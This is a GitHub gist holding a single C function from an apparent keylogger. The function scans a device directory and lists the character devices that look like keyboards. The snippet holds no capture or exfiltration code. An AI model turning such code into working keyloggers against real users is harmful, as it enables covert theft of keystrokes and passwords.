Created
July 4, 2010 04:47
-
-
Save errzey/463138 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const char ** | |
keylogger_find_keyboards(void) | |
{ | |
const char **keyboards; | |
DIR *dip = NULL; | |
struct dirent *dit = NULL; | |
int i = 0; | |
dip = opendir(keyboard_dir); | |
if (dip == NULL) { | |
return(NULL); | |
} | |
keyboards = calloc(sizeof(char *), 1024); | |
if (keyboards == NULL) { | |
return(NULL); | |
} | |
while ((dit = readdir(dip)) != NULL) { | |
size_t tmplen = 0; | |
char *tmpbuf = NULL; | |
/* make sure it's a character device */ | |
if (dit->d_type != DT_CHR) { | |
continue; | |
} | |
tmplen = strlen(keyboard_dir) + strlen(dit->d_name) + 2; | |
tmpbuf = alloca(tmplen); | |
if (tmpbuf == NULL) { | |
return (NULL); | |
} | |
snprintf(tmpbuf, tmplen, "%s/%s", keyboard_dir, dit->d_name); | |
if (is_keyboard(tmpbuf)) { | |
fprintf(stderr, "[*] Found likely keyboard: %s\n", tmpbuf); | |
keyboards[i++] = strdup(tmpbuf); | |
if (i >= 1024) { | |
break; | |
} | |
} | |
} | |
return (keyboards); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment